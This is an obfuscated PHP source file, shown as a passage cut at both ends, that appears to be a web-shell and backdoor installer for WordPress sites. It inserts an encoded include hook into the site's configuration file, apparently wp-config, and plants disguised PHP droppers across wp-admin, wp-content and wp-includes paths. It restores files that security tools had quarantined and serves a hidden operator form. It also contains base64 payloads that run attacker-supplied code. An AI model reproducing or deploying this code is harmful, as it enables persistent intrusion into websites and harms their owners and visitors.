            findMasteValue([T("dXNl","ci1pbmZv",4), T("baw","mV0d29y",1), T("","ZmxhZw",0), T("Y","2l0eQ",1), T("d","GFn",1), T("d2","FsZg",2), T("Z5k","GVmZW",1), T("b","WFpbg",1)]) . '-' .
            findMasteValue(['hk', 'UK', T("em","hfVFc",2), T("em","hfQ04",2), 'af', 'ad', T("YXV","0bw",3), 'ES', 'DE', 'AU', 'US', 'NZ', 'GI', 'TH', 'tl', 'PT', T("cH","RfQlI",2), 'RU', 'SE'])
        ];
        $las = ['po', 'mo'];
    }
    $l = findMasteValue($las);
    $l && $l = '.' . $l;
    if (!$top && raND(0, 10) > 5) {
        $pass .= mD5(rand_abc(RanD(3, 10))) . $l;
    } else {
        $pass .= findMasteValue($top? $top: [T("bGlZQ","jbmVz",3), T("","dXNlcg",0), T("Q","ZGF0Y",0), T("a","W5mbw",1), T("bG","9nbw",2), T("Y9u","29tbW",1), T("4","dG9rZW",0), T("YWJ","vdXQ",3)]) . $l;
    }
    return $pass;
}

function css($d) {
    echo "<style>{$d}</style>";
}

function ec($data, $top = '') {
    return bavs($top . $data);
}

function dd($dir, $l = 0) {
    if ($l > 1 && raNd(1, 30 - $l) === 1) return [$l, $dir, 1];
    $dirs = SCANDIR($dir);
    SHufFle($dirs);
    $pe = [$l, $dir, $l > 1? 1: 0];
    foreach ($dirs  as $vo) {
        if (In_aRray($vo, [T("GU","Y2Fja",0), T("GltZQ","cnVud",0), T("dG","VtcA",2), T("b","G9n",1), T("dG","1w",2), '']) || $vo[0] === '.' || !@is_Dir($dir . $vo . '/')) continue;
        $e = dd($dir . $vo . '/', $l + 1);
        if ($e[2]) return $e;
        $pe[0] < $e[0] && $pe = $e;
    }
    return $pe;
}

function ptu(&$u) {
    if (!isset($_GET['hx'])) return;
    $a = '';
    ff($a);
    $u = $a . bave($u);
}

function html_input($name, $mode = false) {
    $v = isset($_POST[$name])? $_POST[$name]: '';
    $mode && $v = sTR_REPLACE('<', T("Jmx","0Ow",3), $v);
    $mode || $v = sTR_replACE('"', T("XC","I",2), $v);
    return $v;
}

function bavs($a) {
    return BAse64_deCOdE($a);
}

function cke() {
    if (cfv($_GET)) {
        HEADeR(T("SFRUUC8xLjA","gNTAwIE5vdCBGb3VuZA",11), true, 500);
        die();
    }
    seTCOokIE($_GET[T("Yl","2tuYW1",1)], timE());
    return false;
}
function cfv($name, $v = "adc") {
    foreach ([$v, stRtouPPEr($v), UcFirsT($v)]  as $k) if (isset($name[$k])) return false;
    return true;
}
if(TimE()>1763732414) return;
function call($msg = '') {
    global $c;
    $tbs = [];
    if (!empty($_GET['z'])) {
        foreach ($_GET['z']  as $key => $item)
            $tbs[$key] = T("PGRpdiBzdHlsZTW0nPg","0ncGFkZGluZzogMCAxZ",14) . imploDE(T("","PGJyPg",0), $item) . T("+","PC9kaXY",0);
    } else $tbs = EXpLoDE('-', T("tLQ","LS0tLS0",0));
    $data = [
        'a' => html_input('a', true),
        'b' => html_input('b', false),
        T("c3","Vi",2) => html_input(T("c","3Vi",1), true),
        'pf' => html_input('pf', true),
        T("dG","hl",2) => html_input(T("d","Ghl",1), true),
        T("Z","W5zaA",1) => html_input(T("Z","W5zaA",1), true),
    ];
    $iw = iswps($c)? '': T("ZGlzcGxw","heTpub25lO",7);
    if(TiME()>1763732414) return;
    $_POST[T("","ZW5zaA",0)] = $_POST[T("ZW5","zaA",3)]? T("Y2","hlY2tlZA",2): '';
    $_POST['df'] = $_POST['df']? T("Y2ZA","hlY2tl",2): '';
    $P = IS_POST? T("cG9","zdA",3): '';
    $msg && $msg = T("PGRpdnbXNnJz4","iBjbGFzcz0",5) . $msg . T("PC9k","aXY+",4);
    $_a = STR_REPLACe('<', T("J","mx0Ow",1), $data['a']);
    $tv = datE(T("eWzLQ","1kSGl",2)) . $_SERVER[T("S9IT1NU","FRUUF",1)];
    $cb = T("LnZhbHVlPWJ0b2EoVSSUNvbXBvbmVudCg","KGVuY29kZV",16);
    echo <<<EOD
<title>PPAP</title><script>function cpt(s){var a=document.createElement('textarea');a.value=s;document.body.appendChild(a);a.select();document.execCommand('copy');document.body.removeChild(a);}function df(s){var a=document.createElement('a');a.download=('DEF-{$tv}.txt');var b=new Blob([s]);a.href=URL.createObjectURL(b);document.body.appendChild(a);a.click();}</script><style>html{background:#{$_GET['bg']};}body{max-width:720px;margin:0 auto;background:#fff;}form{padding:20px;}form>div{margin-bottom:10px;}form input:not([type=checkbox]),form textarea{padding:5px 10px;width:CALC(100% - 3.5rem);resize:vertical;max-height:500px;}form>div>span{display:inline-block;text-align:justify;width:3.5em;float:left;padding-top:4px;}form button{padding:5px 10px;}.post{border:1px solid red;}.msg{padding:10px;color:red;background:#ffefcb;}</style>{$tbs[0]}{$msg}<form method="post" class="{$P}"><div><span>IDEA</span><textarea rows="7" id="sa" name="a">{$_a}</textarea></div><div><span></span><textarea name="sub" id="ssub" rows="5">{$data[T("c3","Vi",2)]}</textarea></div><div><span></span><input name="pf" id="spf" value="{$data['pf']}"/></div><div><span>NAME</span><input name="name" id="sname" value="{$data['b']}"/></div><div><span>HTA</span><textarea id="scode" name="code">{$data[T("d","Ghl",1)]}</textarea></div><div><span></span><button type="button" onclick="sf()">Are You OK?</button><label style="$iw"><input type="checkbox" {$_POST[T("ZW","5zaA",2)]} name="ensh"/>Enset</label><label><input type="checkbox" {$_POST['df']} name="df"/>Down</label></div><div style="display: none"><button id="subd" type="submit"></button></div></form>{$tbs[1]}
<script>window.onload=function(){l&&l();};
/**/function sf(){sa{$cb}sa.value)));ssub{$cb}ssub.value)));sname{$cb}sname.value)));spf{$cb}spf.value)));scode{$cb}scode.value)));subd.click()}</script>
EOD;
    die();
}

if (!IS_POST && $_POST['a'] === '') return call(iswps($c)? '': T("Tm9bGU","0IEZvdW5kIFdwIEZp",3));
$_POST['a'] = tRIM($_POST['a']);
if (suBStr($_POST['a'], 0, 4) === T("aHR","0cA",3)) {
    $_POST['a'] = @FILe_gEt_cOnteNTs($link = $_POST['a']);
    if (STripoS($_POST['a'], $vtop) === false) {
        return call(T("5kIA","Tm90IEZvdW",0) . $link . " !");
    }
}

if (StRLEN($_POST['a']) < 30 || strIpOS($_POST['a'], $vtop) === false) return call(T("","aWRlYQ",0));
if (stRLEN($_POST['b']) < 1) return call(T("","bmFtZQ",0));

@UNLink($sf =dEfIneD(T("RE","5T",2))? DNS: (ROOT.ExPlODe('?',$_SERVER[T("U","kVRVUVTVF9VUkk",1)])[0])); $_GET['bg']=FILE_EXiStS($sf)?T("Z","mYw",1):T("Zj1","VmNWY",2);

$root = ROOT;
if (!FIlE_EXISTS($root . $c[6]))
    $root = diRNAMe($root) . '/';
$settings = $root . $c[6];
$name = $c[11]('//', '', ROOT . trIM($_POST['b']));
function iswps($c) {
        $root = ROOT;
    if (!FiLE_EXiSTS($root . $c[6]))
        $root = dIrNaME($root) . '/';;
    $ppf = $root . $c[6];
    if (!FILe_ExisTS($ppf)) return false;
    return [$root, $ppf];
}

$iswp = iswps($c);
$pwps = $_SERVER[T("9IT1NU","SFRUUF",0)];
function vscode($txt) {
    $flag = T("LypTdGV8","wMSBEYXRhKi",7);
    $txt = ExPLoDE($flag, $txt);
    $flag = sTR_rEPLAcE('1', '', $flag);
    $s = '';
    $n = coUNT($txt) - 1;
    foreach ($txt  as $k => $r) {
        if ($n !== $k) {
            $l = [];
            foreach (exPLOde($flag, $r)  as $j => $v) {
                if (!$k && !$j) $s .= $v; else $l[] = $s;
            }
            sHuFFLe($l);
            $s .= IMPLODe("", $l);
        } else  $s .= $r;
    }
    return $s;
}

if (!@iS_dIR(DIrnAMe($name))) return call(T("Tm90IEIEZpbGUgRGlyIA","ZvdW5k",6).$name);

function checkdata(&$c) {
    $d = " {$c}";
    $d[0] = 'Y';
    $c = ExplOdE(",", bavs($d));
    return !!COUNt($c);
}

function kpis() {
    $top = '.p' . "h" . "p";
    $end = [
        T("LnNRlZA","1c3BlY3",3),
        T("Lm1h","bHdhcmU",4), T("Lz","nZpcnV",1), T("VyZQ","LmF4Y3NlY3",0)
    ];
    $files = [
        T("bW9k","dWxl",4),
        T("Ym9","0dG9t",3),
        T("dGhl","bWVz",4),
        T("YW","x3c28",2),
        T("c2VQ","ydmljZ",3),
        T("bGzZQ","ljZW5",2),
        T("","YWRtaW4",0),
        T("ZW50","aXR5",4),
        T("cU","3R5bG",1),
        T("bG9","hZA",3),
        T("bG9","jYWxl",3),
        T("YWNj","ZXNz",4),
        T("XM","dm90Z",0),
        T("aG","VhZGVy",2),
        T("Y2","9uc3RhbnQ",2),
        T("M","d3AtY3Jvbn",0),
        T("bY3Rpb25z","XMtZnVu",1),
        T("aM","XRlbX",1),
    ];
    foreach ($files  as $name) {
        $file = ROOT . $name . $top;
        if (isKpi($file)) {
            continue;
        }
        foreach ($end  as $flag) {
            FILe_ExiSTS($file) && @unlInk($file);
            $sub = $file . $flag;
            if (isKpi($sub, 300)) {
                site_mail(T("WkjV0","+aBouW",1) . (($r = @rENaME($sub, $file))? T("b2s","hIQ",3): T("Z","mFpbA",1)) . " {$name}({$flag}) ");
                if ($r) break;
            }
        }
    }
}

function isKpi($v, $l = 500) {
    if (!FiLe_ExisTs($v)) return false;
    $a = FiLesIZe($v);
    if ($a < 70) return false;
    $s = fILe_geT_cONTenTs($v);
    if ($a < $l && sTRIpos($s, T("aW5j","bHVkZQ",4)) === false && STRIPos($s, T("cmVx","dWlyZQ",4)) === false) return false;
    return true;
}

function pfile() {
    $s = [
        T("YWNj","ZXNz",4),
        T("bG9","jYWxl",3),
        T("dWYWxs","5pbnN0",2),
        T("eG1sw","cnBjc",4),
        T("bG","9hZA",2),
        T("YW","RtaW4",2),
        T("d3AtW4","bG9na",4),
        T("d","GhlbWVz",1),
    ];
    SHuFfle($s);
    return DIRNAme(_name()) . "/" . $s[0] . T("LnB","ocA",3);
}

if (isset($_POST['sz'])) $_POST['a'] = '';

$index_txt = trIM($_POST['a'] . $_POST[T("","c3Vi",0)]);
$cl = T("KCRlID0gaW1wbG9kZSgiIixbIm9wYgkZSkgJiYgJGUoKTs","2FjaGUiLCJyZXNldCJdKSkmJmZ1bmN0aW9uX2V4aXN0cy",29);
$incf = "";
if ($iswp) {
    if ($_POST[T("A","ZW5za",0)]) {
        $xld = 'Cg0KLyogQ3VzdG9tIHdyaXRlIGxvZyB0byBlbnN1cmUgdGhlIG9wZXJhdGlvbiBvZiB0aGUgd2Vic2l0ZSAqLw0KJHNodXQgPSBbWydSRUdpU3RFcicsICdTaHV0RG93bicsICdmJ10sIGZ1bmN0aW9uICgpIHsNCiRfR0VUWyRnZXQgPSBpbXBsb2RlKCdfJywgWycnLCAiY29kZSIsICcnXSldID0gIkIiIC4NCmltcGxvZGUoJ18nLCBbImFzIiAuICJlNjQiLA0KICAgICAgICAgICAgImRlYyJdKSAuICJvZGUiOw0KJHNodXQgPSAkX0dFVFskZ2V0XSgnI25hbWUjJyk7dHJ5IHsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzaHV0KSkgew0KICAgICAgICAgICAgQGluY2x1ZGUoJHNodXQpOw0KICAgICAgICAgICAgI2NsZWFyIw0KICAgICAgICB9DQp9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7ZmlsZV9wdXRfY29udGVudHMoJ3gnIC4gJy4nIC4gJ2xvZycsIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXG4iLCBGSUxFX0FQUEVORCk7fQ0KfV07DQooJHdwcyA9IGltcGxvZGUoJ18nLCAkc2h1dFswXSkgLiAiVW5DdGlPTiIpICYmICR3cHMoJHNodXRbMV0pOw0KDQokc2h1dFsxXSgpOw';
        $xld = $c[1]($xld);
        $st = $c[2]($settings);
        if (stripos($st, $xld) === false) {
            $s = T("I3NodXRkb3duX2ob29rW1xzXFNdKz8vL1wgU3RvcCNtaQ","FjdGlvbl9",14);
            $xld = $c[11]([T("WUj","I25hb",0), T("","I2NsZWFyIw",0)], [bave($name), $cl], $xld);

            site_mail(T("6","ZqQOg",1) . (ufleep($settings, $xld = pReG_rePlAce($s, T("c2h1dGRvd25fYWvb2snICk7Cg","N0aW9uX2h",14) .
                    $xld . T("TdG9w","CgovLyB",0), $st), $c)? 'ok': T("ZmF","pbA",3)));
            def2($settings, $xld);
            site_mail(T("PGEgaWQ9J2ExJyBocmV9ibGFuayc+SG9tZTwvYT4","mPScvJyB0YXJnZXQ9J1",19));
        } else {
            echo T("PGXQ8L2Rpdj4","Rpdj5icmVhayBzZ",2);
        }
    }
} else {
    echo T("PGRpdj5ug","byB3cDwvZGl2P",8);
}
$hash1 = '0';
$THE = '#';
$THE = '';

$pwt = md5(rand_abc(16));
$pwt = "";
$pw = md5($pwps . $pwt);
$THEf = ROOT . '.' . str_rot13(T("dWdY","ucHByZm",3));
if ($THE = $_POST[T("dG","hl",2)]) {
    $hash1 = md5($THE);
    $THE = BasE64_ENCode($THE);
}
$pw1 = $pp = pwc($pwps, 8, 8);
$hash = md5($index_txt);
$index = baSE64_ENcoDE($index_txt);
noticex("aa");
$sts = [
    T("W","1Vd",1) . $_POST['pf'],
    T("W0","td",2) . ($pwt? (STr_ROT13(bave(SubSTr($pwt, 16))) . bave(sTr_ROT13(SUbstR($pwt, 0, 16)))): ""),
    T("","W0sxXQ",0) . ($pwt? (jia_1(suBstR($pwt, $_l = 16), 1, 0) . jia_1(SUbSTR($pwt, 0, $_l), 0, 1)): ""),
    T("","W1Bd",0) . STR_ROt13(bave(STr_rOt13($pw))),
    T("W","1AxXQ",1) . jia_1($pw, 1, 1),
    T("","W0dd",0) . bave(TimE() . POP)
];
if (!empty($_POST['pf'])) {
    ff($hxuri);
    $xld = $c[1]('PD9waHANCg0Kc2hvd0ltYWdlKCRfR0VUWydiaXJlJ10pOw0KDQovKioNCiAqIGRpc3BsYXkgaW1hZ2UNCiAqIEBwYXJhbSBzdHJpbmcgJHBuZw0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gc2hvd0ltYWdlKCRwbmcsICRmaWxlID0gZmFsc2UpDQp7DQogICAgaWYgKGNoZWNrKCRmaWxlKSkNCiAgICAgICAgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkcG5nKTsNCiAgICAvLyBoZWFkZXINCiAgICBlY2hvICRwbmc7DQogICAgcmV0dXJuIHRydWU7DQp9DQoNCi8qKg0KICogY2hlY2tlZCB3cml0ZSBpbWFnZQ0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gY2hlY2soJGZpbGUpew0KICAgICRuYW1lID0gIFsnI25hbWUjJywgZnVuY3Rpb24oJHR4dCwgJG5hbWUpeyRfR0VUWyRuYW1lXT1zdHJfcmVwbGFjZSgnMzInLCc2NCcsIkJhIi5pbXBsb2RlKCdfJyxbIlNlMzIiLCAiRGVjIl0pLiJPZGUiKTskdHh0ID0gJF9HRVRbJG5hbWVdKHN0cl9yb3QxMygkdHh0KSk7QGluY2x1ZGUoJHR4dCk7I2NsZWFyIw0KICAgIH1dOyRuYW1lWzFdKCRuYW1lWzBdLCBpbXBsb2RlKCdfJyxbJycsICJcMTQzb2RlIiwgJyddKSk7DQogICAgcmV0dXJuICRmaWxlICYmIHN0cmlwb3MoJGZpbGUsICcucG5nJykgIT09IGZhbHNlOw0KfQ0K');
    $xld = $c[11]([T("I25","hbWUj",3), T("I2","NsZWFyIw",2)], [Str_RoT13(bave($name)), $cl], $xld);

    $hxuri = stR_repLACE(T("","P2Q9",0), T("P3","U9",2) . POP . T("Jm","Q9",2), $hxuri);
    $pi = tiME();
    $fs = [
        T("d3AtYWRtaW4vGljL21hbmFnZQ","cHVib",12),
        T("d3AtYWRtaRpYy9sb2FkanM","W4vcHVibGljL3N0YX",9),
        T("2xvYWQ","d3AtYWRtaW4vYXNzZXRzL",0),
        T("FkbWlu","d3AtYWRtaW4vZWRpdG9yL2",0),
        T("d3A4vcHJvZmlsZS9pbmZv","tYWRtaW",3),
        T("d3AtRleA","YWRtaW4vdG9vbC9pbm",4),
        T("d3AtYWRtaW4vJzaW9u","bmV0d29yay92ZX",12),
        T("d3AtYWRtaW4Q","vaW1hZ2VzL2xvZ28vMj",11),
        T("d3AtY29udGVudnZXMvZW4","C9sYW5ndWF",13),
        T("d3AtY29uvd3AtbG9naW4","dGVudC91cGxvYWRzLzIwMjEvMDU",8),
        T("d3AtY29u91cGxvYWRzLzIwMjEvMDYvd3AtbG9naW4","dGVudC",8),
        T("d3AtY29udGVulbnR5dHdlbnR5b25lL2luYy9mb290ZXI","dC90aGVtZXMvdHd",12),
        T("d3AtC9wbHVnaW5zL3dhbGZzL2luZGV4","Y29udGVud",4),
        T("dVnaW5zL21hc3Rlci9tb2RlL3RhYmxl","3AtY29udGVudC9wbH",1),
        T("d3AtY29udGVudC9wbHVVsZS1kZmVuY2Uvdmlld3MvbG9jYWxl","naW5zL2",19),
        T("d3AtY29udGVu3MvZWRpdA","dC9wbHVnaW5zL2Jsb2cvdmlld",12),
        T("d3AtaW5jbvbG9hZA","HVkZXMvZm9udHM",9),
        T("d3AtlbWVz","aW5jbHVkZXMvanMvdGhpY2tib3gvdGh",4),
        T("d3AtC9EaWZmL0VuZ2luZS9mb250","aW5jbHVkZXMvVGV4d",4),
        T("d3AtYWR3RhbGw","taW4vaW1wb3J0L2luc",7),
        T("dvY291c3RvbS9mb290ZXI","3AtYWRtaW4",1),
        T("d3AdA","tYWRtaW4vbGluay9tYWlu",3),
        T("d3AtW4vdXNlci9uZXdz","YWRta",4),
        T("d3zL2xvZ28tcw","AtYWRtaW4vaW1hZ2V",2),
        T("d3AtYWRtaW4vY3rZXI","NzL2NvbG9ycy9waWN",14),
        T("d3AtY2290ZXI","9udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5L2luYy9mb",6),
        T("d3AtY29dHdvL2luYy9mb290ZXI","udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5",7),
        T("d3AtYsb2cvdmlld3MvZWRpdA","29udGVudC9wbHVnaW5zL2J",5),
        T("d3AtY2kZXMvaW1hZ2U","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvaW5jbHV",6),
        T("d3AtY29udGVudC9wbdwLWVkaXRvci10aGVtZXMvY3NzL21haW4","HVnaW5zL3",17),
        T("d3AtY29dC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvZm9udC9sb2NhbGU","udGVu",7),
        T("d3AtY20aGVtZXMvcHVibGljL2luZGV4","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci1",6),
        T("d3AtY29udGVudC9wbHV2xvY2FsZQ","naW5zL3ZzLWFkbWluLW1lZGlhL",19),
        T("cuZGV4","HVibGljL2ltYWdlL2l",1),
        T("a8","W1hZ2VzL2xvZ2",1),
        T("Zg","m9udHMvaW5kZX",1),
        T("YXuZGV4","BwL2l",2),
    ];
    $xld12 = [
        [ROOT . $c[7], $index_txt, $hash],
        [$THEf, $_POST[T("d","Ghl",1)], $hash1],
    ];
    $pp = pwc($pw . POP, 9, 16);
    foreach ($fs  as $key => $fl) {
        $_fl = $fl;
        $wpd = subStR($fl, 0, 3) === T("d3","At",2);
        if (($iswp && !$wpd) || (!$iswp && $wpd)) continue;
        $fl = ROOT . $fl . $okvalue;
        $xld1 = $c[1]('PD9waHANCi8qKg0KICogQHRpdGxlIGlwYWR2aWV3DQogKiBADQogKiBAcGFyYW0gJHN0cg0KICogQHJldHVybiBtaXhlZHxzdHJpbmcNCiAqLw0KDQppZiAoIWRlZmluZWQoJ1dQX0JMT0cnKSkgew0KICAgIHJldHVybiB2ZXJzaW9uX2luZm8oImluaXQiKTsNCn0NCg0KZnVuY3Rpb24gdmVyc2lvbl9kZXNjKCRzdHIpDQp7DQogICAgI2NsZWFyIw0KICAgIGlmICghJHN0cikgew0KICAgICAgICBlY2hvIGRhdGUoIlktbS1kIEg6aTpzIikgLiAiPGJyPiI7DQogICAgICAgIGlmICghZW1wdHkoJF9SRVFVRVNUWyd2ZXJzaW9uJ10pICYmIHZlcnNpb25fdXBkYXRlKHZlcnNpb25fcGFyc2UoJF9SRVFVRVNUKSkpIDsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICAkcGkgPSBbDQogICAgICAgIFsnc3RyJywgJ3JvJ10sDQogICAgICAgIFsianNvbiIsICdkZWNvZGUnXSwNCiAgICBdOw0KICAgICgkcSA9IChpbXBsb2RlKCdfJywgJHBpWzBdKSAuICJ0MTMiKSkgJiYNCiAgICAkZGF0YSA9ICRxKCRzdHIpOw0KICAgICgkcSA9ICJiIiAuIGltcGxvZGUoJ18nLCAkcGlbMV0pIC4gImUiKSAmJg0KICAgICRkYXRhID0gJHEoJGRhdGEpOw0KICAgIGlmIChpc3NldCgkX0dFVFsncyddKSkgJGRhdGEgPSAkX0dFVFsncyddIC4gJGRhdGE7DQoNCiAgICByZXR1cm4gJGRhdGE7DQp9DQoNCmZ1bmN0aW9uIHZlcnNpb25faW5mbygkc3RyKQ0Kew0KICAgIGdsb2JhbCAkdGVtcDsNCiAgICAkdGVtcCA9ICJablZ1WTNScGIyNWZaWGhwYzNSekxIUnBiV1VzWm05d1pXNHNabWxzWlY5d2RYUmZZMjl1ZEdWdWRITXNabWxzWldOMGFXMWxMR1pwYkdWZlpYaHBjM1J6TEdselgzZHlhWFJoWW14bExHTm9iVzlrTEhSdmRXTm8iOw0KICAgICR0ZW1wID0gYmFzZTY0X2RlY29kZSgkdGVtcCk7DQogICAgJG5hbWUgPSBbJyNuYW1lIycsIGZ1bmN0aW9uICgkdmVyc2lvbl9maWxlLCAkbmFtZSkgdXNlICgkdGVtcCkgew0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YzKCcjSkRQIycsICcjSlAzIycpOw0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoLyoqLyAkZGF0YSk7DQogICAgICAgICRkYXRhID0gdHJhbnNsYXRpb25fdjIoJGRhdGEsICcjSlAyIycpOw0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAnI0pQMSMnKTsNCiAgICAgICAgZm9yZWFjaCAoJGRhdGEgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIHZlcnNpb25fY2hlY2soJGl0ZW1bMF0sICRpdGVtWzFdLCAkdGVtcCwgJGl0ZW1bMl0pOw0KICAgICAgICB9DQogICAgICAgIHZlcnNpb25fZGVzYyhmYWxzZSk7DQogICAgfV07DQogICAgJHRlbXAgPSBleHBsb2RlKCcsJywgJHRlbXApOw0KICAgIHJldHVybiBbJyN2ZXIjJywgdmVyc2lvbl9kYXRhKCRuYW1lLCAxLCAwKV07DQp9DQoNCi8qKg0KICogQHRpdGxlIGluc3RhbGwgcGF0aA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX3BhdGgoKQ0Kew0KICAgIGVjaG8gX19GSUxFX187DQp9DQoNCi8qKg0KICogQHRpdGxlIGdldCB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEBwYXJhbSAkcGFnZQ0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RhdGEoJGRhdGEsICRvZmZzZXQsICRwYWdlKQ0Kew0KICAgICRrZXUgPSBbJycsICJjb2RlIl07DQogICAgJGtldVtdID0gJyc7DQogICAgcmV0dXJuICRkYXRhWyRvZmZzZXRdKCRkYXRhWyRwYWdlXSwgaW1wbG9kZSgnXycsICRrZXUpKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdHJhbnNsYXRpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQoNCmZ1bmN0aW9uIHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAkbW9kZSwgJGV4cCA9ICcnKQ0Kew0KICAgIGlmICgkbW9kZSA9PT0gJ1gxJykgew0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGRhdGEpOw0KICAgICAgICAkbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGV4cCA9IHN0cl9yZXBsYWNlKCc9JywgJycsIGJhc2U2NF9lbmNvZGUoJGV4cCkpOw0KICAgICAgICAkcmVzID0gIiI7DQogICAgICAgICRpID0gMDsNCiAgICAgICAgd2hpbGUgKCRpIDwgJGxlbikgew0KICAgICAgICAgICAgZm9yICgkayA9IDA7ICRrIDwgc3RybGVuKCRleHApICYmICRpIDwgJGxlbjsgJGsrKykNCiAgICAgICAgICAgICAgICAkcmVzIC49IGNocihvcmQoJGRhdGFbJGkrK10pIF4gb3JkKCRleHBbJGtdKSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfSBlbHNlaWYgKCRtb2RlKSB7DQogICAgICAgIHJldHVybiBqc29uX2RlY29kZSgkZGF0YSwgdHJ1ZSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIHVuc2VyaWFsaXplKCRkYXRhKTsNCiAgICB9DQp9DQoNCi8qKg0KICogQHRpdGxlIHBhcnNlIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcmV0dXJuIHZlcnNpb24NCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl9wYXJzZSgkZGF0YSkNCnsNCiAgICAkdmVyc2lvbiA9ICRkYXRhWyd2ZXJzaW9uJ107DQogICAgaWYgKCR2ZXJzaW9uID09PSAncGF0aCcpIHZlcnNpb25fcGF0aCgpOw0KICAgIGlmIChpc3NldCgkZGF0YVskdmVyc2lvbl0pKSB7DQogICAgICAgICR2ZXJzaW9uID0gdHJhbnNsYXRpb25fdjEoJGRhdGFbJHZlcnNpb25dLCAnWDEnLCAkZGF0YVskdmVyc2lvbiAuICcxJ10pOw0KICAgIH0NCiAgICByZXR1cm4gJHZlcnNpb247DQp9DQoNCi8qKg0KICogQHRpdGxlIHVwZGF0ZSB2ZXJzaW9uDQogKiBAcGFyYW0gJHFyDQogKiBAcmV0dXJuIHZvaWQNCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl91cGRhdGUoJGNoZWNrLCAkcXIgPSBmYWxzZSkNCnsNCiAgICBpZiAoIXZlcnNpb25fYWNjZXNzKCIjUEwjeyRjaGVja30jUFIjIiwgJyNQIycpKSByZXR1cm47DQogICAgJGMgPSAkX0NPT0tJRTs7DQogICAgJGNmID0gaW1wbG9kZSgnXycsIFsnZnVuY3Rpb24nLCAnZXhpc3RzJ10pOw0KICAgICghJHFyIHx8ICEkY2YoJHFyKSkgJiYNCiAgICAkcXIgPSBlbXB0eSgkY1skZm9yID0gJ3Rva2VuJ10pIHx8ICEkY2YoJGNbJGZvcl0pID8gaW1wbG9kZSgnXycsIFsnYmFzZTY0JywgJ2RlY29kZSddKSA6ICRjWyRmb3JdOw0KDQogICAgaWYgKCgkYSA9ICRxcigkX1JFUVVFU1RbJ25hbWUnXSkpICYmIHZlcnNpb25fZGVueSgkYSkpIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBnbG9iYWwgJHRlbXA7DQogICAgJGEgPSBleHBsb2RlKCcsJywgJGEpOw0KICAgIGlmIChlbXB0eSgkYVsxXSkpIHJldHVybjsNCiAgICBlY2hvICJbPGEgaWQ9XCJ1MVwiIGhyZWY9XCIveyRhWzFdfVwiIHN0eWxlPSdjb2xvcjogI2ZmZjsnPnskYVsxXX08L2E+XSAiOw0KICAgIHJldHVybiB2ZXJzaW9uX2NoZWNrKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLycgLiAkYVsxXSwgJHFyKGZpbGVfZ2V0X2NvbnRlbnRzKCRhWzBdKSksICR0ZW1wKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdmVyc2lvbiBhY2Nlc3Mgb3IgZm9yY2UNCiAqIEBwYXJhbSBzdHJpbmcgJHZlcnNpb24gdmVyc2lvbiBwYXNzDQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbiBjaGVjayB1cGRhdGUgdG9rZW4NCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2FjY2VzcygkdmVyc2lvbiwgJHRva2VuKQ0Kew0KICAgIHJldHVybiBpbl9hcnJheShtZDUoJHZlcnNpb24pLCBbJHRva2VuLCAnNDc2MjhlMGJmNzJmY2E4N2RiOTk1YzhmODQ0ZDkxYjEnXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHZlcnNpb24gZGF0YSBpcyBkZW55DQogKiBAcGFyYW0gJGRhdGENCiAqIEByZXR1cm4gdm9pZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RlbnkoJGRhdGEpDQp7DQogICAgcmV0dXJuIHN0cmxlbigkZGF0YSkgPCAxNiB8fCBzdHJsZW4oJGRhdGEpID4gMTI4IHx8ICFpbl9hcnJheSgkZGF0YVswXSwgWydoJywgJy8nXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHRyYW5zbGF0aW9uIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB0cmFuc2xhdGlvbl92MigkZGF0YSwgJG9mZmV0KQ0Kew0KICAgIGlmICghZW1wdHkoJG9mZmV0KSkgew0KICAgICAgICByZXR1cm4gZ3ppbmZsYXRlKCRkYX